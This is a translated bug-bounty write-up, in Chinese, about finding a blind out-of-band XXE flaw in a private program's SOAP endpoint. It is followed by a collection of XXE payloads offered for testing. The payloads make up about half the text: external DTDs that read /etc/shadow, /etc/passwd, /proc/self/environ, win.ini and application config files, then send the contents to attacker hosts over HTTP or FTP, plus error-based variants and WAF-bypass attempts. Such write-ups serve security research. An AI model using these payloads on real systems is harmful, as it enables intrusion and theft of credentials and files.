原文:https://hawkinsecurity.com/2018/03/24/gaining-filesystem-access-via-blind-oob-xxe/
今天,我将为大家详细介绍自己在某私人漏洞赏金计划中发现带外XXE(XML External Entity attack)盲攻击漏洞的过程。为了保护客户的隐私,其中的某些信息已经做了适当的处理。
与其他漏洞赏金计划任务一样,我做的第一件事情,就是尽可能广泛地查找指定范围内的各类资产。经过一番折腾,我发现了一个感兴趣的子域。然后,我搜遍了该子域的所有目录,并找到了一些端点/通知。通过GET请求访问该端点,可以看到以下页面:
我注意到,响应中的xml内容类型带有一个xml主体,并且该主体含有相应的XML SOAP语法。由于我对这里的GET参数不太清楚,所以决定向端点发出POST请求,这时发现响应主体竟然消失了,并且响应代码变为200。
由此看来,这个Web应用程序似乎对该POST请求的响应一切正常,因为它并没有发出405 Method Not Allowed错误消息,所以我决定发送一个包含xml语法的请求,并将内容类型设为application/xml。
虽然这次得到的响应与以往的响应有所不同,不过,这里的响应也是采用了XML格式,就像向该端点发送GET请求时的情形一样。但是这次,标签内的值是“OK”,而不是“TestRequestCalled”。此外,我还发送了一个json请求,以观察该应用程序如何响应,结果如下所示。
我们可以看到,该响应是空的,这跟发送没有指定内容类型的POST请求时的情形一样,所以,我们可以断定该端点是用来处理XML数据的。所以,我们可以建立VPS来托管一个DTD文件,以便符合该XML处理器的要求。以下是dtd成功处理后返回的结果,并附加了所需的文件内容。
我还使用脚本:https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb搭建了一个FTP服务器,并进行相应的监听,以便可以通过ftp协议来提取服务器的信息/文件内容:https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
虽然这个主题有些重复,但我还是很想分享这个发现,因为这是一个非常棒的学习经历:就算在不知道某些输入具体的用途/功能的情况下,仍然能够设法考察应用程序是如何响应这些输入的。虽然之前的相关分析报告没有能够从服务器中提取信息,但是,仍然因发现这个漏洞获而得了8k美元的奖励。
希望下面XXE有效载荷对大家的测试工作能够带来一些帮助:
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
----------------------------------------------------------------
OoB variation of above (seems to work better against .NET)
----------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>
## External dtd: ##
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
-----------------------------------------------------------------------
OoB extra ERROR -- Java
-----------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
-----------------------------------------------------------------------
OoB extra nice
-----------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
## External dtd: ##
<!ENTITY all "%start;%stuff;%end;">
------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
## External dtd: ##
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
-------------------------^ you might need to encode this % (depends on your target) as: %
--------------
FTP
--------------
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx></xxx>]]></foo></soap:Body>
---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
view raw
XXE_payloads hosted with ❤ by GitHub